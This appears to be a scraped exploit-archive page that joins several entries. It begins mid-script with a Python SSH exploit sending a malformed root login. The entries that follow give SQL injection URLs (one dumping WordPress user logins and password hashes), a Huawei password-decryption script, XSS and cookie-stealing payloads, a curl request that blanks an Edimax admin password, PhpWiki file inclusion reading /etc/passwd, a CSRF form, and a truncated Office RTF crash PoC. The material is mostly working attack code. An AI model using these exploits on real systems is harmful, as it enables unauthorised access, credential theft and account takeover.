0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF G = 2 __sequence_number_out = 3 zero_byte = chr(0) one_byte = chr(1) four_byte = chr(4) max_byte = chr(0xff) cr_byte = chr(13) linefeed_byte = chr(10) crlf = cr_byte + linefeed_byte class Message (object): """ An SSH2 message is a stream of bytes that encodes some combination of strings, integers, bools, and infinite-precision integers (known in Python as longs). This class builds or breaks down such a byte stream. Normally you don't need to deal with anything this low-level, but it's exposed for people implementing custom extensions, or features that paramiko doesn't support yet. """ big_int = long(0xff000000) def __init__(self, content=None): """ Create a new SSH2 message. :param str content: the byte stream to use as the message content (passed in only when decomposing a message). """ if content is not None: self.packet = StringIO(content) else: self.packet = StringIO() def __str__(self): """ Return the byte stream content of this message, as a string/bytes obj. """ return self.asbytes() def __repr__(self): """ Returns a string representation of this object, for debugging. """ return 'paramiko.Message(' + repr(self.packet.getvalue()) + ')' def asbytes(self): """ Return the byte stream content of this Message, as bytes. """ return self.packet.getvalue() def add_bytes(self, b): """ Write bytes to the stream, without any formatting. :param str b: bytes to add """ self.packet.write(b) return self def add_byte(self, b): """ Write a single byte to the stream, without any formatting. :param str b: byte to add """ self.packet.write(b) return self def add_boolean(self, b): """ Add a boolean value to the stream. :param bool b: boolean value to add """ if b: self.packet.write(one_byte) else: self.packet.write(zero_byte) return self def add_size(self, n): """ Add an integer to the stream. :param int n: integer to add """ self.packet.write(struct.pack('>I', n)) return self def add_int(self, n): """ Add an integer to the stream. :param int n: integer to add """ if n >= Message.big_int: self.packet.write(max_byte) self.add_string(deflate_long(n)) else: self.packet.write(struct.pack('>I', n)) return self def add_int(self, n): """ Add an integer to the stream. @param n: integer to add @type n: int """ if n >= Message.big_int: self.packet.write(max_byte) self.add_string(deflate_long(n)) else: self.packet.write(struct.pack('>I', n)) return self def add_int64(self, n): """ Add a 64-bit int to the stream. :param long n: long int to add """ self.packet.write(struct.pack('>Q', n)) return self def add_mpint(self, z): """ Add a long int to the stream, encoded as an infinite-precision integer. This method only works on positive numbers. :param long z: long int to add """ self.add_string(deflate_long(z)) return self def add_string(self, s): """ Add a string to the stream. :param str s: string to add """ self.add_size(len(s)) self.packet.write(s) return self def add_list(self, l): """ Add a list of strings to the stream. They are encoded identically to a single string of values separated by commas. (Yes, really, that's how SSH2 does it.) :param list l: list of strings to add """ self.add_string(','.join(l)) return self def _add(self, i): if type(i) is bool: return self.add_boolean(i) elif isinstance(i, int): return self.add_int(i) elif type(i) is list: return self.add_list(i) else: return self.add_string(i) def add(self, *seq): """ Add a sequence of items to the stream. The values are encoded based on their type: str, int, bool, list, or long. .. warning:: Longs are encoded non-deterministically. Don't use this method. :param seq: the sequence of items """ for item in seq: self._add(item) def deflate_long(n, add_sign_padding=True): """turns a long-int into a normalized byte string (adapted from Crypto.Util.number)""" # after much testing, this algorithm was deemed to be the fastest s = bytes() n = long(n) while (n != 0) and (n != -1): s = struct.pack('>I', n & long(0xffffffff)) + s n >>= 32 # strip off leading zeros, FFs for i in enumerate(s): if (n == 0) and (i[1] != chr(0)): break if (n == -1) and (i[1] != chr(0xff)): break else: # degenerate case, n was either 0 or -1 i = (0,) if n == 0: s = chr(0) else: s = chr(0xff) s = s[i[0]:] if add_sign_padding: if (n == 0) and (ord(s[0]) >= 0x80): s = chr(0) + s if (n == -1) and (ord(s[0]) < 0x80): s = chr(0xff) + s return s def inflate_long(s, always_positive=False): """turns a normalized byte string into a long-int (adapted from Crypto.Util.number)""" out = long(0) negative = 0 if not always_positive and (len(s) > 0) and (ord(s[0]) >= 0x80): negative = 1 if len(s) % 4: filler = chr(0) if negative: filler = chr(0xff) # never convert this to ``s +=`` because this is a string, not a number # noinspection PyAugmentAssignment s = filler * (4 - len(s) % 4) + s for i in range(0, len(s), 4): out = (out << 32) + struct.unpack('>I', s[i:i+4])[0] if negative: out -= (long(1) << (8 * len(s))) return out def byte_mask(c, mask): return chr(ord(c) & mask) def _compute_key(K, H, session_id, id, nbytes): """id is 'A' - 'F' for the various keys used by ssh""" m = Message() m.add_mpint(K) m.add_bytes(H) m.add_byte(str(id)) m.add_bytes(session_id) out = sofar = sha1(m.asbytes()).digest() while len(out) < nbytes: m = Message() m.add_mpint(K) m.add_bytes(H) m.add_bytes(sofar) digest = sha1(m.asbytes()).digest() out += digest sofar += digest return out[:nbytes] def compute_hmac(key, message, digest_class): return HMAC(key, message, digest_class).digest() def read_msg(sock, block_engine_in, block_size, mac_size): header = sock.recv(block_size) header = block_engine_in.decrypt(header) packet_size = struct.unpack('>I', header[:4])[0] leftover = header[4:] buf = sock.recv(packet_size + mac_size - len(leftover)) packet = buf[:packet_size - len(leftover)] post_packet = buf[packet_size - len(leftover):] packet = block_engine_in.decrypt(packet) packet = leftover + packet def send_msg(sock, raw_data, block_engine_out, mac_engine_out, mac_key_out, mac_size): global __sequence_number_out out = block_engine_out.encrypt(raw_data) payload = struct.pack('>I', __sequence_number_out) + raw_data out += compute_hmac(mac_key_out, payload, mac_engine_out)[:mac_size] sock.send(out) __sequence_number_out += 1 def exploit(hostname, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((hostname, port)) ## send client banner client_banner = 'SSH-2.0-SUCK\r\n' sock.send(client_banner) ## recv server banner server_banner = '' while True: data = sock.recv(1) if data == '\x0a': break server_banner += data print 'server banner is: ', server_banner.__repr__() ## do key exchange ## send client algorithms cookie = os.urandom(16) client_kex = '000001cc0514'.decode('hex') + cookie + '000000596469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6469666669652d68656c6c6d616e2d67726f7570312d73686131000000237373682d7273612c7373682d6473732c65636473612d736861322d6e69737470323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f7572323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f75723235360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d39360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e65000000000000000000000000000000000000'.decode('hex') sock.send(client_kex) client_kex_init = client_kex[5:-5] ## recv server algorithms server_kex = '' str_pl = sock.recv(4) pl = struct.unpack('>I', str_pl)[0] tmp = sock.recv(pl) padding_len = ord(tmp[0]) server_kex_init = tmp[1:-padding_len] ## do dh kex ## send client dh kex x = 2718749950853797850634218108087830670950606437648125981418769990607126772940049948484122336910062802584089370382091267133574445173294378254000629897200925498341633999513190035450218329607097225733329543524028305346861620006860852918487068859161361831623421024322904154569598752827192453199975754781944810347 e = 24246061990311305114571813286712069338300342406114182522571307971719868860460945648993499340734221725910715550923992743644801884998515491806836377726946636968365751276828870539451268214005738703948104009998575652199698609897222885198283575698226413251759742449790092874540295563182579030702610986594679727200051817630511413715723789617829401744474112405554024371460263485543685109421717171156358397944976970310869333766947439381332202584288225313692797532554689171177447651177476425180162113468471927127194797168639270094144932251842745747512414228391665092351122762389774578913976053048427148163469934452204474329639 client_dh_kex = '0000010c051e0000010100c010d8c3ea108d1915c9961f86d932f3556b82cd09a7e1d24c88f7d98fc88b19ca3908cada3244dfc5534860b967019560ce5ee243007d41ecf68e9bfa7631847ecb1091558fd7ffe2f17171115690a6d10f3b62c317157ced9291770cc452cc93fb911f18de644ef988c09a3bff35770e99d1546d31c320993f8c12bb275cd2742afc547a0f3309c29a6e72611af965b6144b837ca2003c3ca1f3e35797ab143669b9034c575794c645383519d485a133e67d0793097ef08b72523fa3199c35358676d1fd9776248cae08e46da6414d0f975ffa4b4c84f69db86c47401808daa8a5919fc52ebed157b99e0dd2a4203f0c9e06d6395fa5c9b38a7ae8b159ea270000000000'.decode('hex') sock.send(client_dh_kex) ## recv server dh kex str_pl = sock.recv(4) pl = struct.unpack('>I', str_pl)[0] server_dh_kex = sock.recv(pl) ## send client newkeys client_newkeys = '0000000c0a1500000000000000000000'.decode('hex') sock.send(client_newkeys) ## recv server newkeys str_pl = sock.recv(4) pl = struct.unpack('>I', str_pl)[0] server_new_keys = sock.recv(pl) ## calc all we need ... host_key_len = struct.unpack('>I', server_dh_kex[2:6])[0] # print host_key_len host_key = server_dh_kex[6:6 + host_key_len] f_len = struct.unpack('>I', server_dh_kex[6 + host_key_len:10 + host_key_len])[0] str_f = server_dh_kex[10 + host_key_len:10 + host_key_len + f_len] dh_server_f = inflate_long(str_f) sig_len = struct.unpack('>I', server_dh_kex[10 + host_key_len + f_len:14 + host_key_len + f_len])[0] sig = server_dh_kex[14 + host_key_len + f_len:14 + host_key_len + f_len + sig_len] K = pow(dh_server_f, x, P) ## build up the hash H of (V_C || V_S || I_C || I_S || K_S || e || f || K), aka, session id hm = Message() hm.add(client_banner.rstrip(), server_banner.rstrip(), client_kex_init, server_kex_init) hm.add_string(host_key) hm.add_mpint(e) hm.add_mpint(dh_server_f) hm.add_mpint(K) H = sha1(hm.asbytes()).digest() ## suppose server accept our first cypher: aes128-ctr, hmac-sha1 block_size = 16 key_size = 16 mac_size = 20 IV_out = _compute_key(K, H, H, 'A', block_size) key_out = _compute_key(K, H, H, 'C', key_size) block_engine_out = AES.new(key_out, AES.MODE_CTR, IV_out, Counter.new(nbits=block_size * 8, initial_value=inflate_long(IV_out, True))) mac_engine_out = sha1 mac_key_out = _compute_key(K, H, H, 'E', mac_engine_out().digest_size) IV_in = _compute_key(K, H, H, 'B', block_size) key_in = _compute_key(K, H, H, 'D', key_size) block_engine_in = AES.new(key_in, AES.MODE_CTR, IV_in, Counter.new(nbits=block_size * 8, initial_value=inflate_long(IV_in, True))) mac_engine_in = sha1 mac_key_in = _compute_key(K, H, H, 'F', mac_engine_in().digest_size) ## do user auth ## send client service request (user auth) client_service_request = '\x00\x00\x00\x1C\x0A\x05\x00\x00\x00\x0C\x73\x73\x68\x2D\x75\x73\x65\x72\x61\x75\x74\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ## encrypt the packet send_msg(sock, client_service_request, block_engine_out, mac_engine_out, mac_key_out, mac_size) ## recv server service accept read_msg(sock, block_engine_in, block_size, mac_size) ## send client userauth request client_userauth_request = '\x00\x00\x00\x3C\x08\x32' ## the user name length and username client_userauth_request += '\x00\x00\x32\xe4' # malformed client_userauth_request += 'root' ## service client_userauth_request += '\x00\x00\x00\x0E' client_userauth_request += 'ssh-connection' ## password client_userauth_request += '\x00\x00\x00\x08' client_userauth_request += 'password' client_userauth_request += '\x00' ## plaintext password fuckinA client_userauth_request += '\x00\x00\x00\x07' client_userauth_request += 'fuckinA' ## padding client_userauth_request += '\x00'*8 ## encrypt the packet print 'send client_userauth_request' send_msg(sock, client_userauth_request, block_engine_out, mac_engine_out, mac_key_out, mac_size) ## recv server userauth success print 'recv server userauth success' read_msg(sock, block_engine_in, block_size, mac_size) if __name__ == '__main__': hostname = '192.168.242.128' port = 22 exploit(hostname, port)
HireHackking

ESRI ArcGIS for Server - 'where' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56474/info ESRI ArcGIS for Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. ESRI ArcGIS for Server 10.1 is vulnerable; other versions may also be affected. http://www.example.com:6080/arcgis/rest/services//query?f=json&where=featured%3Dtrue&returnGeometry=true&spatialRel=esriSpatialRelIntersects
HireHackking

WordPress Plugin PHP Event Calendar - 'cid' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56478/info The PHP Event Calendar plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/wp-content/plugins/Calendar-Script/load-events.php?cid=1[SQL]
HireHackking

Huawei (Multiple Products) - Password Encryption

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56510/info Multiple Huawei products are prone to a weak password encryption weakness. Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks. The following are vulnerable: Huawei Quidway series Huawei CX600 V600R001 Huawei CX600 V600R003C00SPC900 Huawei ME60 V600R002C07 and prior versions AR 19/29/49 R2207 and prior versions from Crypto.Cipher import DES def decode_char(c): if c == 'a': r = '?' else: r = c return ord(r) - ord('!') def ascii_to_binary(s): assert len(s) == 24 out = [0]*18 i = 0 j = 0 for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 3]) y = (y | k) & 0xffffff out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8) & 0xff) out[j+0] = chr((y>>16) & 0xff) j += 3 return "".join(out) def decrypt_password(p): r = ascii_to_binary(p) r = r[:16] d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r) return r.rstrip("\x00")
HireHackking

WordPress Theme Dailyedition-mouss - 'id' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56568/info The Dailyedition-mouss theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/wp-content/themes/dailyedition-mouss/fiche-disque.php?id=-78+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat%28user_login,user_pass%29,14,15,16,17,18,19,20+from+wp_users--
HireHackking
source: https://www.securityfocus.com/bid/56570/info WebKit is prone to a security-bypass vulnerability. An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. Code in test.jsp: <title>Test Page</title> <script> var foo = "<%= request.getParameter("foo") %>"; document.write("<text>Welcome "+ foo + "</text>"); </script> Example URI: http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1
HireHackking

Friends in War The FAQ Manager - 'question' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/56576/info Friends in War The FAQ Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--
HireHackking

Edimax PS-1206MF - Web Admin Authentication Bypass

HACKER · %s · %s

# Title: Edimax PS-1206MF - Web Admin Auth Bypass # Date: 30.08.15 # Vendor: edimax.com # Firmware version: 4.8.25 # Author: Smash_ # Contact: smash [at] devilteam.pl HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password. By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null. devil@hell:~$ curl -gi http://192.168.0.10/ HTTP/1.1 401 Date: Sat, 21 Dec 1996 12:00:00 GMT WWW-Authenticate: Basic realm="Default password:1234" 401 Unauthorized - User authentication is required. Request: POST /PrtSet.cgi HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/pssystem.htm Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 103 BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11 Response: HTTP/1.1 200 OK Date: Sat, 21 Dec 1996 12:00:00 GMT Content-type: text/html <html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head> (...) Following curl request will set admin account with empty password. PoC: devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null
HireHackking

PhpWiki 1.5.4 - Multiple Vulnerabilities

HACKER · %s · %s

# Title: phpwiki 1.5.4 - Cross Site Scripting / Local File Inclusion # Date: 29.08.15 # Vendor: sourceforge.net/projects/phpwiki/ # Affected versions: => 1.5.4 (current) # Tested on: Apache2.2 / PHP5 / Deb32 # Author: Smash_ # Contact: smash [at] devilteam.pl 1/ Cross Site Scripting Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter. Example url: http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!-- Example request: POST /phpwiki/index.php/UserPreferences HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: folder_p-tbx=Open; PHPSESSID=3ko4uprjgmnjtmfkes3dnh0gk4; PhpWiki_WIKI_ID=admin Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 260 pref%5Bemail%5D=&pref%5BnotifyPages%5D=&pref%5Btheme%5D=&pref%5Blang%5D=&pref%5BeditHeight%5D=22&pref%5BeditWidth%5D=80&pref%5BtimeOffset%5D=0&pagename=UserPreferencesabc%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--&action=browse Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 21:30:47 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding Content-Length: 16114 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html (...) <script type="text/javascript"> <!--// var rateit_imgsrc = '/phpwiki/themes/wikilens/images/RateIt'; var rateit_action = 'RateIt'; // --></script> <script type="text/javascript"> <!--// var data_path = '/phpwiki'; var pagename = 'UserPreferencesabc</script><script>alert(document.cookie)</script><!--'; var script_url= '/phpwiki/index.php'; var stylepath = data_path+'/themes/Sidebar/'; var folderArrowPath = '/phpwiki/themes/default/images'; var use_path_info = true; // --></script> </head> (...) 2/ Local File Inclusion Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page. Example url: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group #1 - Example request: POST /phpwiki/index.php/PhpWikiAdministration HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration Cookie: folder_p-tbx=Open; folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 76 action=loadfile&overwrite=&pagename=PhpWikiAdministration&source=/etc/passwd #1 - Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 22:09:36 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 3534 (...) <a id="contentTop"></a> <h1 class="firstHeading">Loading “/etc/passwd”</h1> <div id="bodyContent"> <em><a href="passwd" class="wiki">passwd</a></em><span> from “plain file /etc/passwd” content is identical to current version 1 - no new revision created</span><p><strong>Complete.</strong></p> <p>Return to <a href="PhpWikiAdministration" class="wiki">PhpWikiAdministration</a></p> (...) #2 - Example request: GET /phpwiki/index.php/passwd HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration Cookie: folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625 Connection: keep-alive #2 - Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 22:10:34 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 ETag: W/"97df6cb9b2668497eb1a804ab9c18eb8" Last-Modified: Sat, 29 Aug 2015 22:09:55 GMT Cache-Control: must-revalidate Expires: Sat, 29 Aug 2015 22:10:14 GMT Vary: Cookie Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 22599 (...) <div class="wikitext"><p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh <a href="news:x:9:9:news:/var/spool/news:/bin/sh" target="_blank" class="namedurl"><span style="white-space: nowrap"><img src="/phpwiki/themes/Sidebar/images/url.png" alt="" class="linkicon" />news:x:9:9:news:/var/spool/news:/bin/sh</span></a> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server<sub>,:/nonexistent:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false colord:x:103:107:colord colour management daemon</sub>,:/var/lib/colord:/bin/false usbmux:x:104:46:usbmux daemon<sub>,:/home/usbmux:/bin/false miredo:x:105:65534::/var/run/miredo:/bin/false ntp:x:106:113::/home/ntp:/bin/false Debian-exim:x:107:114::/var/spool/exim4:/bin/false arpwatch:x:108:117:ARP Watcher</sub>,:/var/lib/arpwatch:/bin/sh avahi:x:109:118:Avahi mDNS daemon<sub>,:/var/run/avahi-daemon:/bin/false beef-xss:x:110:119::/var/lib/beef-xss:/bin/false dradis:x:111:121::/var/lib/dradis:/bin/false pulse:x:112:122:<span style="text-decoration: underline" class="wikiunknown"><span>PulseAudio</span><a href="PulseAudio?action=create" title="Create: PulseAudio" onmouseover="window.status="Create: PulseAudio"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span> daemon</sub>,:/var/run/pulse:/bin/false speech-dispatcher:x:113:29:Speech Dispatcher<sub>,:/var/run/speech-dispatcher:/bin/sh haldaemon:x:114:124:Hardware abstraction layer</sub>,:/var/run/hald:/bin/false iodine:x:115:65534::/var/run/iodine:/bin/false postgres:x:116:127:PostgreSQL administrator<sub>,:/var/lib/postgresql:/bin/bash sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin redsocks:x:118:128::/var/run/redsocks:/bin/false snmp:x:119:129::/var/lib/snmp:/bin/false stunnel4:x:120:130::/var/run/stunnel4:/bin/false statd:x:121:65534::/var/lib/nfs:/bin/false sslh:x:122:133::/nonexistent:/bin/false Debian-gdm:x:123:134:Gnome Display Manager:/var/lib/gdm3:/bin/false rtkit:x:124:136:<span style="text-decoration: underline" class="wikiunknown"><span>RealtimeKit</span><a href="RealtimeKit?action=create" title="Create: RealtimeKit" onmouseover="window.status="Create: RealtimeKit"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span></sub>,:/proc:/bin/false saned:x:125:137::/home/saned:/bin/false devil:x:1000:1001:devil<sub>,:/home/devil:/bin/bash debian-tor:x:126:138::/var/lib/tor:/bin/false privoxy:x:127:65534::/etc/privoxy:/bin/false redis:x:128:139:redis server</sub>,:/var/lib/redis:/bin/false</p> </div> (...) 3/ Cross Site Request Forgery Since there is no csrf protection in application, remote attacker is able to trigger specific actions. PoC: <html> <!-- Change settings / XSS --> <body> <form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST"> <input type="hidden" name="pref&#91;email&#93;" value="" /> <input type="hidden" name="pref&#91;notifyPages&#93;" value="" /> <input type="hidden" name="pref&#91;theme&#93;" value="" /> <input type="hidden" name="pref&#91;lang&#93;" value="" /> <input type="hidden" name="pref&#91;editHeight&#93;" value="22" /> <input type="hidden" name="pref&#91;editWidth&#93;" value="80" /> <input type="hidden" name="pref&#91;timeOffset&#93;" value="0" /> <input type="hidden" name="pagename" value="UserPreferencesabc<&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script><&#33;&#45;&#45;" /> <input type="hidden" name="action" value="browse" /> <input type="submit" value="Go" /> </form> </body> </html>
HireHackking

Microsoft Office 2007 - 'msxml5.dll' Crash (PoC)

HACKER · %s · %s

#!/usr/bin/perl -w # Title : Microsoft Office 2007 msxml5.dll - Crash Proof Of Concept # Tested : Microsoft Office 2007 / Win7 # DLL : msxml5.dll 5.20.1072.0 # WINWORD.EXE version : 12.0.6612.1000 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # #Demo : http://youtu.be/Eciu50k7vbI open FILE, ">poc.rtf"; $buffer="\x7b\x5c\x72\x74\x66\x31\x7b\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c".#rtf1 Standard Header... "\x66\x6e\x69\x6c\x5c\x66\x63\x68\x61\x72\x73\x65\x74\x30\x56\x65\x72\x64\x61\x6e\x61\x3b". "\x7d\x7d\x5c\x76\x69\x65\x77\x6b\x69\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c". "\x73\x62\x31\x30\x30\x5c\x73\x61\x31\x30\x30\x5c\x6c\x61\x6e\x67\x39\x5c\x66\x30\x5c\x66". "\x73\x32\x32\x5c\x70\x61\x72\x5c\x70\x61\x72\x64\x5c\x73\x61\x32\x30\x30\x5c\x73\x6c\x32". "\x37\x36\x5c\x73\x6c\x6d\x75\x6c\x74\x31\x5c\x6c\x61\x6e\x67\x39\x5c\x66\x73\x32\x32\x5c". "\x70\x61\x72\x7b\x5c\x6f\x62\x6a\x65\x63\x74\x5c\x6f\x62\x6a\x6f\x63\x78\x7b\x5c\x2a\x5c". "\x6f\x62\x6a\x64\x61\x74\x61\x0a\x30\x31\x30\x35\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30". "\x30\x30\x31\x42\x30\x30\x30\x30\x30\x30\x34\x44\x35\x33\x34\x33\x36\x46\x36\x44\x36\x33\x37\x34\x36\x43\x34\x43\x36\x39\x36\x32\x32\x45\x34\x43\x36\x39\x37\x33\x37\x34\x35\x36\x36\x39\x36\x35\x37\x37\x34\x33\x37\x34\x37\x32\x36\x43\x32\x45\x33\x32\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x45\x30\x30\x30\x30\x0a\x44\x30\x43\x46\x31\x31\x45\x30\x41\x31\x42\x31\x31\x41\x45\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x33\x45\x30\x30\x30\x33\x30\x30\x46\x45\x46\x46\x30\x39\x30\x30\x30\x36\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x46\x45\x46\x46\x46\x46\x46\x46\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46". 